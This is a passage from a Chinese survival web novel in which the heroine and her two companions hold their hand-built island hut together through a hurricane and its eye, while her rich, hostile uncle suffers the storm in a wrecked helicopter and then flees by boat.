她的目光扫过在狂风中依旧坚韧的藤墙,扫过剧烈波动却岿然不动的海草屋顶,最后落在老卡尔如同礁石般的背影上。匕首的冰凉和她周身包裹的恒定暖意,形成了奇异的对比。
阿土看着苏姐紧握匕首的手,又看了看爷爷纹丝不动的背影,眼中的恐惧渐渐被一种近乎盲目的信任取代。他用力点头,抱紧水桶的身体不再那么僵硬颤抖。
小屋在肆虐的风暴中,继续着它惊心动魄的舞蹈。每一次剧烈的摇晃都牵动着三人的心弦,每一次骨架的呻吟都考验着他们的神经。
但藤墙没有散,屋顶没有飞,温暖没有消失。这方小小的,由他们亲手建造,亲手加固的天地,在灭世般的风暴中,死死守住了最后的底线。
风暴如同狂暴的巨人,肆无忌惮地践踏着K7岛。而在远离小屋坚固堡垒的沙滩另一侧,上演着一场彻头彻尾的溃败。
苏振业那顶价值不菲的豪华帐篷,在真正的天地之威面前,脆弱得如同一张纸片。
当第一道裹挟着砂砾的狂风巨拳狠狠砸在帐篷侧面时,支撑杆就发出了令人牙酸的呻吟。昂贵的防水面料瞬间向内凹陷出一个巨大的深坑,紧接着是刺耳的撕裂声!
“嘶啦!”
帐篷侧面被狂暴的风力,硬生生撕开了一道巨大的豁口!冰冷的,带着咸腥海盐的暴雨如同高压水枪般,疯狂地灌入这个曾经象征[身份]的临时居所!
“啊!”苏振业杀猪般的惨叫,被风雨声吞没大半。
他肥胖的身体裹在湿透的丝绸睡衣外,套着一件同样迅速湿透的昂贵雨衣,狼狈得像一只被泼了开水的褪毛肥鹅。
昂贵的真丝领带被风吹得糊在脸上,雨水混合着他脸上的油汗,狼狈不堪。他刚想咒骂,第二股更强的阵风接踵而至!
这一次,是毁灭性的打击!
“轰!哐当!”
连接帐篷顶部的关键支撑杆,应声断裂!整个帐篷的顶部如同被一只无形巨手猛地掀开!
狂风瞬间灌入,将里面所有能移动的东西。卫星电话、雪茄盒、名贵手表、散落的文件、甚至苏振业脱下的鳄鱼皮鞋。统统卷起,如同垃圾般抛向昏黑的雨幕!
“我的表!合同!!”苏振业目眦欲裂,徒劳地伸出肥胖的手想去抓,却被一件飞起的丝绸睡袍蒙住了头脸。
脚下被翻倒的折叠椅一绊,如同一个沉重的麻袋,“噗通”一声重重摔在已经变成泥潭的帐篷底布上!瞬间裹满了黑黄色的泥浆,黏腻冰冷,像爬行动物的黏膜。
“苏总!危险!快出来!”
保镖甲浑身湿透,顶着能把人吹飞的狂风,艰难地冲进这顶已经失去顶部,只剩下几根歪斜支架和破烂布片的[帐篷]残骸里。
他试图去搀扶如同泥猪般的苏振业,却被对方惊恐的挣扎差点带倒。
“废物!都是废物!我的快艇!我的。”苏振业在泥浆里徒劳地扑腾咒骂,声音被风雨撕碎。
保镖甲眼中闪过一丝狠厉,不再废话,和另一个同样狼狈不堪的保镖乙一起。
如同拖拽一袋死沉的货物,一人架起苏振业一条胳膊,深一脚浅一脚地将他从泥潭和帐篷废墟中,硬生生拖了出来!
刚一暴露在无遮无拦的狂风暴雨中,苏振业立刻体验到了什么叫真正的[洗礼]。十二级大风如同无数冰冷的鞭子,狠狠抽打在他肥胖的身体上,雨水不再是水滴,而是冰针,刺得他皮肤生疼,眼睛根本睁不开。
昂贵的雨衣在狂风中被撕扯得如同破布条,起不到任何遮蔽作用。他像个落水待宰的肥猪,被两个保镖半拖半架着,在泥泞的沙滩上踉跄奔逃,每一次试图迈步,肥硕的身体都摇摇欲坠。
“去哪里?!去哪里啊?!”苏振业的声音带着哭腔,充满了末日般的恐惧。
“直升机!去直升机残骸下面!”
保镖甲在风中嘶吼,指向不远处那片在风雨中更显凄凉的金属骨架。那架早已报废,锈迹斑斑的救援直升机残骸,成了这片光秃秃沙滩上,唯一能提供些许遮挡的[制高点]。
短短几十米的距离,在灭顶的风暴中如同天堑。狂风吹得人寸步难行,砂砾和雨水抽打着裸露的皮肤。
苏振业几次摔倒,沉重的身体将搀扶他的保镖也带倒,三人在泥浆里滚作一团,咒骂声,喘息声,风雨声混杂一片。
当保镖甲终于一脚踹开直升机扭曲变形的舱门,三人如同三条丧家之犬,连滚带爬地钻进狭窄、冰冷、弥漫着铁锈和机油腐败气味的机舱时。
外面,苏振业那顶帐篷的最后一片残骸,被一股龙卷风般的上升气流猛地卷起,翻滚着消失在墨黑的雨幕深处,连一点痕迹都没留下。
机舱内一片狼藉。冰冷的雨水顺着破损的顶棚缝隙不断滴落,发出单调而令人绝望的“滴答”声。狂风从没了舷窗的窗口灌入,发出鬼哭般的尖啸。
苏振业瘫坐在冰冷湿滑的金属地板上,昂贵的衣服成了浸满泥浆的破布,紧紧裹在他肥硕的身躯上,勾勒出狼狈不堪的轮廓。
他头发凌乱地贴在额头上,脸上混杂着泥浆,油汗和不知是雨水还是恐惧的泪水,嘴唇冻得发紫,身体不受控制地剧烈颤抖着,牙齿咯咯作响。昂贵的腕表表盘已经碎裂,指针停在了一个讽刺的位置。
保镖甲和乙背靠着冰冷的舱壁,胸膛剧烈起伏,大口喘着粗气,同样浑身湿透,泥泞不堪,脸上写满了疲惫和一种劫后余生的麻木。
机舱外,是吞噬一切的狂暴风雨,机舱内,是死一样的沉寂,只有苏振业粗重惊恐的喘息和牙齿打颤的声音。
“冷,好冷。废物,都是废物。”苏振业抱着自己肥硕的双臂,蜷缩成一团,语无伦次地喃喃着,眼神空洞地望着舱外那片狂暴的,仿佛要毁灭一切的白茫茫世界。
他曾经视作荒芜垃圾,用来惩罚[花瓶]侄女的流放之地,此刻正以最狂暴的方式,将他的傲慢,财富和所谓的权威,践踏得粉碎。
而那栋他嗤之以鼻的[乞丐窝],此刻是否还存在?他不敢想,也不愿去想。极致的狼狈和寒冷,让他连怨恨都暂时冻结了,只剩下最本能的恐惧和对温暖的渴望。
小屋在风暴的持续蹂躏下,如同一艘永不沉没的方舟,顽强地搏斗着。时间的流逝变得模糊,只有风力的强弱变化和暴雨的疏密,标记着这场浩劫的进程。
“呜!嗡!嘎吱!”
又一股更强的风压袭来,小屋再次发出令人牙酸的呻吟,剧烈地向□□斜。这一次,倾斜的角度似乎超过了之前!
堆放在角落的,装着淡水的沉重木桶因为惯性猛地滑动了一下,撞在藤墙上发出闷响。
“嗯?!”一直如同古钟般盘坐在地,闭目凝神感知着风暴节奏和结构状态的老卡尔,猛地睁开了眼睛!浑浊却锐利如鹰隼的目光,瞬间钉死在屋顶西南角的某个位置!
“阿土!”老卡尔的声音如同炸雷,在屋内的轰鸣中依旧清晰无比。
“西南角!听声!”
正紧张地抱着一个水桶的阿土浑身一激灵,几乎是本能地抬头,顺着爷爷指的方向望去,竖起了耳朵。
苏甜也瞬间绷紧了神经,握紧匕首的手心全是汗。
在屋顶如同瀑布般的落水声中,在藤墙网格的呻吟嗡鸣中,在骨架主梁的嘎吱作响中。一丝极其细微,却异常刺耳的“嘶啦”声,如同毒蛇吐信,顽强地钻入了阿土的耳膜!
“有东西在撕!”阿土脸色瞬间煞白,失声尖叫。
“是草!屋顶的草皮!有块地方被风掀开了口子!在撕!”
仿佛为了印证他的尖叫,一股比之前更加冰冷刺骨,带着海腥味的强风,猛地从那撕开的口子灌了进来!屋内的恒定暖意,瞬间被撕开了一个冰冷的豁口!
同时,一道细细的,冰冷的水线,如同毒蛇的信子,顺着那被风掀开的海草边缘,开始向下滴落!
致命的破口!屋顶一旦被撕开,狂风灌入,巨大的风压会瞬间将整个屋顶掀飞!紧接着就是暴雨倒灌,结构崩溃!
“堵住它!”苏甜的声音斩钉截铁,没有丝毫犹豫。她第一个松开抱着水桶的手,猛地扑向小屋中央,抓起地上剩余的一捆坚韧藤蔓!
“压住!上!”老卡尔低吼一声,如同蓄势待发的猛虎,瞬间从地上弹起!他比苏甜更快,一个箭步冲到小屋西南角下方,正是那漏风漏水点的正下方!
他伸出粗粝如树皮的大手,毫不犹豫地抓住了那根支撑屋顶的,被风压得吱呀作响的主梁骨架!用自己强壮的身体作为支撑点,死死顶住!
阿土也反应过来,紧随苏甜之后,抓起一把藤蔓扑了过去。
位置很高!那破口在屋顶边缘,离地面近三米!没有梯子,没有支撑点!
“踩我肩上!”老卡尔的声音如同闷雷,他双腿如同两根石柱般钉在沙地上,身体微微下蹲,宽阔的肩膀直接顶在了主梁下方!
没有时间犹豫!苏甜看了一眼老卡尔那如同礁石般稳固的肩背,又看了一眼阿土。
阿土立刻明白了,他猛地将手中的藤蔓塞给苏甜,自己抢先一步,赤脚猛地蹬地,双手在老卡尔肩头一撑,整个人如同灵巧的猿猴,瞬间攀上了老卡尔的肩膀!
“苏姐!快!藤蔓给我!”阿土骑在老卡尔肩上,身体在狂风中摇晃,向苏甜伸出手。
苏甜立刻将手中的藤蔓奋力抛了上去!阿土一把抓住。
紧接着,苏甜也深吸一口气,踩住老卡尔坚实如铁的小腿,借力向上,双手抓住阿土伸下的手,被他用力一拉,也攀上了老卡尔另一边的肩膀!
老卡尔发出一声低沉的闷哼,如同承受山岳的重量,但他古铜色的脖颈上青筋暴起,双腿如同扎根大地,纹丝不动!他用自己的身体,为两个年轻人筑起了生命的阶梯!
狂风如同无数只冰冷的手,疯狂撕扯着攀在屋顶边缘的两人。冰冷的雨水劈头盖脸地浇下,模糊了视线。阿土和苏甜艰难地稳住身形,终于看清了那个破口!
厚实的海草屋顶边缘,一块脸盆大小的区域,被狂暴的风力硬生生掀起,撕开!边缘的草叶如同被巨力扯断的纤维,在风中狂舞!冰冷的雨水和狂风正从这个破口疯狂灌入!
“压住!绑死!”苏甜在风雨中嘶吼,将手中的藤蔓一端死死按在那被掀起的海草边缘!阿土立刻配合,用尽全身力气将藤蔓缠绕上去,试图将其重新压回骨架!
但风太大了!两人合力,那被掀起的海草依旧像活物般剧烈挣扎,发出“嘶啦嘶啦”的撕裂声,破口甚至还在扩大!
“不够力!压不住!”阿土绝望地大喊,冰冷的雨水灌进他的嘴里。
苏甜眼中闪过一丝决绝!她猛地将手中的藤蔓在手臂上缠了几圈,然后整个人向前一扑,用自己的身体作为重物,死死压在了那块狂舞挣扎的海草破口上!用身体去堵!
“啊!”冰冷的雨水和狂风,瞬间灌满了她的口鼻,巨大的风压几乎让她窒息!身体被吹得几乎飘起,全靠手臂上缠绕的藤蔓和身下阿土的拉扯才没被掀飞!
“苏姐!”阿土目眦欲裂,也学着苏甜的样子,将藤蔓缠在手臂上,整个人扑上去,和苏甜一起,用两个人的身体重量,死死压住那块疯狂挣扎的[伤口]!
下方,老卡尔承受着两人外加狂风的全部重量,身体微微颤抖,喉咙里发出低沉的咆哮,如同负伤的巨兽,但双腿如同焊死在地面,肩背挺得笔直!
“绑!快绑!”苏甜在风雨中嘶声力竭地对阿土吼道。
阿土咬着牙,一只手死死压住藤蔓,另一只手如同穿花蝴蝶般,在狂风暴雨中,利用老
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卡尔传授的绳结技艺,将藤蔓在骨架主梁和那块被两人身体压住的海草边缘,疯狂地缠绕、打结、勒紧!
每一个动作都异常艰难,手指被藤蔓勒出血痕,被冰冷的雨水泡得发白麻木!
一个,两个。阿土在死亡的威胁下爆发出惊人的潜能,绳结打得又快又狠!
当最后一个死结被用牙齿辅助着狠狠勒紧时,那块被两人身体死死压住的狂乱海草,终于被强行捆缚回了骨架之上!
狂风依旧在撕扯,但破口被藤蔓和两人的体重暂时压制住了!灌入的冷风和雨水瞬间减弱了大半!
“下来!”老卡尔的声音从下方传来,带着不容置疑的命令和一丝不易察觉的颤抖。
苏甜和阿土精疲力竭地从屋顶边缘滑落,重重摔在屋内的沙地上,大口喘着粗气,浑身湿透冰冷,如同从水里捞出来一般,只有胸口剧烈起伏带来的热量证明他们还活着。
苏甜的手臂和肩膀,被藤蔓勒出了深深的血痕,火辣辣地疼。
老卡尔缓缓放松紧绷的身体,长长吐出一口浊气,古铜色的脸上也带着一丝疲惫,但眼神依旧锐利如鹰。
他看了一眼屋顶上那个被藤蔓和两人血肉之躯暂时堵住的破口,又看了一眼瘫倒在地,劫后余生的苏甜和阿土,什么也没说,只是沉默地走回角落,重新盘膝坐下,闭目调息。
无声的行动胜过千言万语。危机暂时解除,但风暴还在继续,不能松懈。
小屋在风暴的持续蹂躏下,如同一个伤痕累累却依旧挺立的巨人。藤墙的呻吟,骨架的嘎吱,屋顶雨水的轰鸣。交织成一首持续不断的,令人神经紧绷的生存交响曲。
时间在煎熬中流逝,每一秒都像一个世纪般漫长。
就在苏甜感觉自己的神经快要绷断时,一种奇异的变化悄然发生。
不知何时起,那如同亿万面战鼓同时擂响的恐怖雨声,似乎减弱了一丝。狂暴到要将人耳膜撕裂的风啸,似乎也降低了一个调门。
小屋骨架主梁那令人心悸的“嘎吱”呻吟声,频率在放缓,幅度在减小。
苏甜猛地抬起头,侧耳倾听。
不是错觉!狂风依旧在呼啸,但那种仿佛要将天地都撕碎的极致狂暴感,正在消退!如同发狂的巨兽在宣泄了所有力量后,陷入了短暂的喘息。
“风小了?”阿土也察觉到了,他抬起头,脸上混合着疲惫和难以置信的希冀。
一直闭目凝神的老卡尔缓缓睁开了眼睛,那双浑浊却深邃的眸子里,映着从木窗缝隙透入的,似乎不再那么昏暗的光线。
他侧耳倾听了片刻,又感受了一下小屋的震动幅度,低沉而肯定地吐出一个字。“眼。”
风眼!
是风暴中心的短暂宁静!是毁灭狂潮中片刻的喘息!
几乎就在老卡尔话音落下的瞬间,木窗缝隙外,那如同瀑布般垂落的雨帘,骤然变细,变疏!几息之间,竟从倾盆暴雨变成了稀疏的雨丝!
遮蔽天地的厚重雨幕被一只无形的手猛地掀开,昏沉了不知多久的天光,骤然明亮了几分!
风依旧在吹,但不再是那足以拔山摧城的十二级飓风,而是变成了强劲却不再致命的大风。呜咽的风声卷过沙滩,卷过雨林,发出空旷而辽远的回响。
机会!
苏甜心脏狂跳,没有丝毫犹豫。她几乎是手脚并用地从地上爬起,踉跄着扑向那扇新装的棕榈叶木窗。
手指因为之前的过度用力而颤抖,但她还是用尽力气,扣住窗叶边缘,小心翼翼地将它向上推开了一道缝隙。她需要亲眼确认!
冰冷的,带着浓郁海腥味和雨后清新草木气息的空气瞬间涌入,吹拂在她汗湿的脸上。她屏住呼吸,将眼睛凑近那道狭窄的缝隙。
木窗外的景象,如同地狱画卷的尾声。
天空不再是令人绝望的墨黑,而是变成了翻滚涌动的深灰色云海,低低压在海面上。稀疏的雨丝斜斜地飘落,在渐亮的天光中拉出银亮的细线。
沙滩一片狼藉,被狂风蹂躏得面目全非。原本洁白的沙地被浑浊的泥水覆盖,到处是狂风吹来的断枝残叶,破碎的贝壳,甚至还有不知从何处卷来的海洋垃圾。
几株靠近海边的椰子树被连根拔起,或拦腰折断,凄惨地倒伏在泥泞中。雨林边缘的树木,如同被巨大的梳子狠狠梳理过,枝叶凋零,露出光秃秃的,伤痕累累的枝干。
然而,在这片劫后的,触目惊心的狼藉之中,一栋小小的建筑,如同定海神针般,牢牢地扎根在沙地之上!
是她的生态小屋!
藤蔓网格墙虽然沾满了泥浆水渍,却依旧顽强地保持着整体结构,那些被老卡尔用[渔人结]绞死的节点,如同坚固的铆钉,在昏暗中反射着水光。
厚实的海草屋顶,除了那块被藤蔓粗暴捆扎的[补丁]显得格外刺眼外,其余部分依旧覆盖得严严实实,墨绿色的草叶吸饱了雨水,显得更加厚重坚韧。
小屋的骨架稳稳矗立,在灰白的天光下,勾勒出坚实而可靠的轮廓。
一股难以言喻的,滚烫的热流猛地冲上苏甜的鼻尖,直冲眼眶!成功了!
他们亲手建造,亲手加固的堡垒,在灭世的风暴中,守住了!它不仅是一栋房子,它是她在这绝境中亲手开辟的国土,是她对抗命运,守护生命的图腾!
就在这时,视线不由自主地扫向更远处,那片快艇曾经停泊的区域。
快艇早已消失无踪,只在沙滩上留下几道被巨浪冲刷得模糊不清的拖痕和一个深深嵌入沙地的,扭曲断裂的巨大应急锚。
而在那堆锈迹斑斑的直升机残骸下方,几个渺小如蝼蚁的身影,蜷缩在冰冷的金属框架里。
苏振业瘫坐在机舱冰冷的泥水里,那身昂贵衣服彻底成了泥浆色的破布,紧紧裹在他肥硕的身躯上,勾勒出无比狼狈臃肿的线条。
他头发凌乱地贴在额头上,脸上糊满了泥浆和油汗,嘴唇冻得乌紫,身体不受控制地剧烈颤抖着。他似乎在咒骂着什么,但隔着风雨,只能看到他徒劳开合的嘴巴和扭曲怨毒的表情。
一个保镖正脱下自己同样湿透的外套,试图盖在他身上,却被他烦躁地一把推开。另一个保镖则背对着风暴的方向,徒劳地用身体为他遮挡残余的风雨。
一方是狼藉中的坚韧堡垒,一方是残骸下的泥泞丧犬。
强烈的对比如同烧红的烙铁,狠狠烫在苏甜的心上。一股混杂着巨大成就,劫后余生,以及对仇人狼狈的冰冷快意的洪流,在她胸中猛烈冲撞!
力量感,从未如此清晰!她不再是那个被随意摆布,推入大海的[花瓶],她是这片风暴绿洲的主人!
“绿洲。”她喃喃自语,指尖无意识地触碰着身边坚固而温热的藤墙。
恒定而令人安心的暖流,正透过藤蔓,源源不断地包裹着她的身体,驱散着风雨带来的最后一丝寒意。这温暖,是她的王国无声的宣告。
“苏姐!”阿土也凑到了另一个窗缝,看着外面劫后的景象,又看看完好无损的小屋和角落里宝贵的存粮存水,脸上绽放出劫后余生的,无比灿烂的笑容,带着少年人特有的纯粹喜悦。
“我们扛住了!真的扛住了!”他兴奋地挥舞着拳头。
老卡尔依旧盘膝坐在角落,闭着眼睛,仿佛在调息。但他紧绷的嘴角线条,却在这一刻,极其细微地,几不可察地向上弯了一下。
那是一个认可,一个属于守护者的,无声的赞许。
小屋外,稀疏的雨丝飘落。短暂的宁静如同暴风雨前虚假的和平,空气沉滞,翻滚的灰色云层低低压着,酝酿着风眼墙之后更加恐怖的反扑。然而,这片刻的喘息,却足以让希望扎根。
苏甜的目光从远处那堆残骸下的狼狈身影上收回,重新落回自己的小屋,落回身边疲惫却眼神明亮的同伴身上。
她的手指在温热的藤墙上缓缓收紧,指尖感受着那粗糙而充满生命力的纹理。
这不是结束。这只是她风暴绿洲矗立的第一个里程碑。前方的路,还很长,风暴之后的重建,暗处的敌人,家族的觊觎。都如同这低压的云层,沉甸甸地悬在头顶。
但此刻,她拥有这方在毁灭中屹立不倒的天地,拥有身边可以托付后背的伙伴,拥有掌心这柄冰冷的匕首,更拥有胸腔里那颗在绝境中淬炼得更加坚硬的心。
风眼已过,风暴的回马枪随时会来。
苏甜深吸了一口带着海腥和湿冷草木气息的空气,眼神锐利如出鞘的刀锋。
“准备。”她的声音不高,却清晰地穿透了屋外呜咽的风声。
“风暴,还没结束。”
21. 第21章
风眼的短暂喘息,如同恶魔狡猾的陷阱。
当灰暗天光下稀疏的雨丝尚未完全停歇,那翻滚的深灰色云海边缘,便如同被无形的巨鞭狠狠抽打,猛地向内收缩、旋转!
呜!嗷!!!
更加狂暴,更加歇斯底里的咆哮,裹挟着比之前更加冰冷刺骨的雨点,如同复仇的狂潮,轰然拍下!
这一次,风从四面八方撕扯,雨是横着扫射的霰弹!
小屋再次被卷入更加疯狂的颠簸漩涡,仿佛要将风眼期间积蓄的所有侥幸彻底碾碎!
然而,这一次,恐惧已被淬炼成钢铁。
苏甜紧握匕首的手不再颤抖,她甚至没有去看那再次被狂风撕扯得剧烈呻吟的藤墙,只是将身体更深地缩进角落,用意志力对抗着那要将灵魂都颠簸出窍的震荡。
老卡尔盘膝闭目,呼吸悠长,如同风暴中心的礁石,每一次小屋剧烈的倾斜,他绷紧的肌肉便如同弹簧般调整重心,稳如磐石。
阿土则死死抱着淡水桶,牙齿紧咬,眼神里是经历过生死考验后的,近乎麻木的坚韧。
风暴最后的疯狂,持续的时间仿佛比前半段更加漫长,每一次撕扯都像是永无止境的折磨。
小屋的结构发出更加刺耳的呻吟,西南角那块被藤蔓和血肉之躯强行堵住的屋顶破口处,被狂风撕扯得发出令人牙酸的“咯吱”声,仿佛随时会再次崩裂。
冰冷的雨水顺着缝隙不断渗入,在屋内的沙地上汇成小小的水洼。
终于,当最后一丝力量耗尽,那如同亿万头狂兽同时嘶吼的风声,如同被一只无形巨手猛地扼住了喉咙,开始断崖式地衰落,减弱。
密集如鼓点,砸得屋顶轰鸣的暴雨,也渐渐稀疏,停歇。天地间令人窒息的轰鸣,被一种劫后余生的、带着巨大疲惫的寂静所取代。
天,终于彻底亮了。不是明媚的朝阳,而是一种浑浊的,铅灰色的天光,透过稀疏的云层,冷冷地投射在满目疮痍的大地上。
苏甜推开那扇布满水渍和泥沙的木窗。一股混合着浓郁海腥,草木汁液,腐烂气息和泥土芬芳的,复杂而强烈的味道,猛地灌入鼻腔。眼前的世界,让她倒吸一口凉气。
这哪里还是她记忆中的岛屿?分明是被一头暴怒的洪荒巨兽用利爪和獠牙疯狂啃噬,践踏过的废墟!
视线所及,一片狼藉。原本洁白的沙滩被厚厚的淤泥,破碎的棕榈叶,断枝,海草和各种叫不出名字的海洋垃圾彻底覆盖,呈现出一种肮脏的黑褐色。
靠近海边的区域,巨大的浪涌将沙滩冲刷得沟壑纵横,如同老人脸上深刻的皱纹。
几株靠近海边的椰子树,或被连根拔起,凄惨地倒伏在泥水里,只留下巨大的坑洞。或被拦腰折断,光秃秃的树干像绝望伸向天空的断臂,断口处露出惨白的木质纤维。
雨林边缘,更是触目惊心。低矮的灌木丛几乎被夷为平地,高大的树木被狂风吹得东倒西歪,许多被硬生生折断了粗壮的枝桠,断口狰狞,翠绿的枝叶散落一地,浸泡在浑浊的泥水里。
更远处,几棵两人合抱粗的古树也被撼动,根部裸露,巨大的树冠歪斜着,压垮了大片植被。
浑浊的海水失去了往日的蔚蓝,变成了肮脏的黄褐色,上面漂浮着厚厚一层泡沫,断木,死鱼和各种垃圾,缓慢地涌动着,散发出浓烈的腥臭味。
整个岛屿,像是经历了一场惨烈的战争,处处是残破和死亡的气息。
然而,就在这片令人窒息的废墟中心,一栋小小的建筑,如同浴血归来的战士,伤痕累累却依旧昂然矗立!
是她的生态小屋!
小屋是这场风暴浩劫中唯一站着的建筑。藤蔓编织的网格墙沾满了泥浆和绿色的藻类水渍,不少地方被狂风吹得松散变形,露出了里面的骨架结构,如同战士身上破损的甲胄。
厚实的海草屋顶边缘,尤其是西南角那块区域,被狂风撕扯得向上翻卷,墨绿色的海草如同凝固的黑色海浪。
被阿土和老卡尔最后加固的藤蔓如同缝合伤口的粗线,死死地勒捆着,阻止了它被彻底掀开。
木窗的框架有些变形,棕榈叶窗叶边缘破损,但整体结构完好。
最令人心安的,是当苏甜推开木门,踏出小屋时,一股恒定而熟悉的暖意,如同无形的拥抱,立刻包裹了她湿冷疲惫的身躯!
小屋内,虽然地面有些积水,角落的沙地有些潮湿,但大部分区域依旧保持着令人惊叹的干燥!
被动温控系统顽强地运行着,将屋内的温度稳稳维持在22℃左右,与屋外劫后的湿冷形成了天堂与地狱的温差!
堆放在角落的存水和食物,安然无恙!
这方小小的天地,是这片死亡废墟中唯一的生命绿洲,是风暴也无法摧毁的堡垒勋章!
“干活!”老卡尔沙哑的声音打破了沉寂。
他没有多余的感慨,目光如同最精准的扫描仪,迅速扫过小屋周围和更远处的狼藉,锁定了最迫切的危险源。
几棵被风暴折断,但尚未完全倒伏,斜插在泥地里的粗大树干,以及几根悬在半空,随时可能坠落的巨大断枝。
“阿土!”老卡尔指向那些危险的悬枝和半倒的树干。
“清路障,收浮木!能用的,全拖回来!”他的指令简洁有力,带着不容置疑的权威。
“是!卡尔爷爷!”阿土早已按捺不住,劫后余生的兴奋和对家园的心疼交织在一起。他应了一声,如同矫健的猎豹,赤脚就冲进了泥泞。
他灵活地避开地上的杂物,目标明确地冲向一棵斜插在地的巨大树干旁,那里散落着许多被折断,但材质坚韧的粗壮树枝。
他扛起一根比他大腿还粗的断木,毫不在意上面沾满的污泥,嘿呦一声,就将其拖向小屋方向。
苏甜深吸一口气,压下心头的震撼和复杂的情绪。灾后重建,刻不容缓。
她的目光首先投向小屋本身。屋顶的翻卷和藤墙的松散是首要修复目标,否则下一场风雨就是灾难。
“卡尔先生,屋顶交给我和阿土!”苏甜抓起地上剩余的藤蔓和树皮绳,语气坚定。
她需要老卡尔这位经验丰富的[工程师]坐镇全局,指导更危险的清理工作。
老卡尔点了点头,没有废话,抄起苏甜用硬木和黑曜石片制作的简易手斧(类似锛),大步走向一棵被狂风吹得根部半裸,巨大枝桠悬垂在通往水源小径上空的古树。
那悬枝如同达摩克利斯之剑,随时可能坠落。
苏甜则喊住正拖着一根巨大浮木回来的阿土“阿土,先上屋顶!”
阿土立刻放下浮木,两人再次搭起人梯。这一次,阿土轻车熟路地攀上苏甜的肩膀,苏甜奋力将他托举到能够到屋顶翻卷边缘的高度。
狂风虽过,但屋顶湿滑,海草被雨水浸泡后更加沉重。阿土小心翼翼地解开之前紧急捆扎的部分藤蔓,苏甜在下方将新的,浸泡过强化液的藤蔓抛给他。
两人配合着,阿土用身体重量和技巧,一点点将被狂风掀翻的厚重海草屋顶边缘重新压实,捋顺,再用新的藤蔓和更复杂的绳结(老卡尔之前传授的加固结)将其死死固定在骨架上。
同时,苏甜也检查修复着藤蔓网格墙上松散的部位,进行加固。
就在三人如同精密的救灾机器高效运转时,一阵刺耳的,断断续续的引擎轰鸣声,夹杂着金属摩擦的噪音,从快艇曾经停泊的方向传来。
苏甜刚加固好一处藤墙节点,闻声抬头望去。
只见那艘曾象征奢华与权力的黑色快艇,此刻正以一种极其狼狈的姿态,被保镖艰难地推离沙滩。
船体上布满了泥浆和绿色的海藻,一侧船舷有明显的凹陷擦痕,昂贵的烤漆剥落,露出难看的底漆。
引擎盖敞开着,冒着淡淡的黑烟,每一次点火启动,都伴随着一阵剧烈的咳嗽般的抖动和刺耳的金属摩擦声,仿佛随时会再次熄火散架。
最狼狈的,是苏振业。
他几乎是被半架半拖着,踉跄地走向快艇。保镖乙脱下自己湿透的制服外套,勉强裹在苏振业那身早已看不出原色,浸满泥浆如同破布条般的衣服。
但这丝毫无法掩盖他的狼狈。肥胖的身体虚软无力,每一步都深陷泥泞,全靠保镖拖拽。
脸上糊满了干涸的泥浆和油污,头发凌乱地黏在额头上,嘴唇乌紫,眼睛半闭着,似乎连咒骂的力气都没有了,只剩下劫后余生的麻木和深入骨髓的冰冷。
昂贵的皮鞋只剩下一只,另一只脚上裹着不知哪里找来的破布,每走一步都留下一个深陷的泥脚印。
就在他被保镖连推带搡,准备塞进那艘同样狼狈不堪的快艇船舱时,他像是感应到什么,猛地扭过头!
那双深陷在浮肿眼袋里的小眼睛,穿过泥泞的沙滩和凌乱的断木,如同淬毒的冰锥,死死钉在了小屋的方向,钉在了正在屋顶上奋力压覆海草的苏甜身上!
那眼神里,没有了风暴中的纯粹恐惧,只剩下怨毒,不甘,以及一种被彻底羞辱后的,刻骨铭心的冰冷恨意!如同毒蛇锁定猎物。
苏甜站在屋顶,居高临下,清晰地接收到了
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这道目光。她没有愤怒,没有恐惧,甚至没有一丝波澜。
她只是平静地回视着,眼神如同风暴后初霁的海面,深邃而平静。她甚至微微扬了扬手中沾满海草汁液的藤蔓,仿佛在无声地展示着自己的成果。
苏振业肥硕的身体猛地一僵,脸上的肌肉扭曲了一下,似乎想说什么,却被保镖强行塞进了狭窄的船舱入口,只留下一个怨毒而屈辱的肥硕背影。
快艇的引擎再次发出垂死挣扎般的咆哮,黑烟滚滚,船身剧烈颤抖着,终于挣扎着脱离了泥泞的沙滩。
歪歪斜斜地驶向浑浊汹涌的海面,很快变成一个摇晃的黑点,消失在灰蒙蒙的海平线上。
外部的阴霾暂时随着快艇远去,但岛屿内部的伤痕依旧深刻。
“水源!”苏甜收回目光,从屋顶滑下,对阿土说道。风暴后的淡水保障是生命线。
两人踩着泥泞,深一脚浅一脚地走向岛屿西侧海岬。路上满是倒伏的树枝和垃圾。当她们抵达岩缝取水点时,心猛地一沉。
原本清澈渗水的岩缝,此刻被狂风吹来的大量枯枝败叶,泥沙碎石堵得严严实实!
浑浊的泥水正从堵塞物的缝隙里缓慢渗出,流量微乎其微!
旁边那个更隐蔽的微小渗水点,同样被淤泥覆盖,几乎看不出痕迹。
“堵死了!”阿土懊恼地跺脚。
苏甜却异常冷静,她早有预料。
“清理!”她立刻动手,和阿土一起,用木棍,匕首,甚至用手,一点点清理岩缝入口的堵塞物。腐叶和淤泥被挖开,露出里面被泥沙糊住的岩壁。水流开始变大,但依旧浑浊不堪。
“过滤器!”苏甜立刻取出【基础淡水过滤器】,冰凉的金属圆筒连接上布条,探入清理后的岩缝。
浑浊的水流经过过滤,开始变得清澈。虽然速度不快,但生命之源重新开始流淌。
更大的惊喜在返回营地的路上。当她们经过那片被风暴蹂躏过的薯田时,眼前的景象让苏甜几乎落下泪来。
薯田所在的位置,是之前被【固沙海草】根系网络覆盖并优化的沙地区域。
虽然薯田表面同样覆盖了一层淤泥和断枝落叶,许多薯苗被狂风吹倒,甚至有些叶片被撕裂。
但是!当苏甜和阿土小心翼翼地拨开表层的淤泥和杂物时,看到的不是被连根拔起或腐烂的薯块,而是大部分依旧牢牢扎根在沙地里的植株!
那些深绿色的薯苗,虽然东倒西歪,叶片破损,但茎秆依旧坚韧,靠近根部的嫩芽顽强地透出新绿!
更令人震撼的是地下。苏甜小心地挖开一株倒伏薯苗旁边的沙土,露出了下面缠绕着银白色,如同毛细血管般密集根须的沙层结构!
这些来自海草屋顶的根须,如同给沙地穿上了一层坚韧的锁子甲,将松散的沙粒牢牢固定成一个整体!
正是这层[根网铠甲],在风暴的疯狂撕扯和雨水浸泡下,保护了大部分薯块没有移位,没有腐烂!
“活了!都还活着!”阿土兴奋地大叫,小心翼翼地扶起一株倒伏的薯苗,用周围的湿沙固定好它的根部。
苏甜看着这片在废墟中顽强存活的翠绿,又回头望了望那栋伤痕累累却依旧屹立,散发着温暖气息的小屋,一股强大的力量感充盈全身。
风暴带走了很多,但也留下了最珍贵的,家园的根基和生命的韧性。
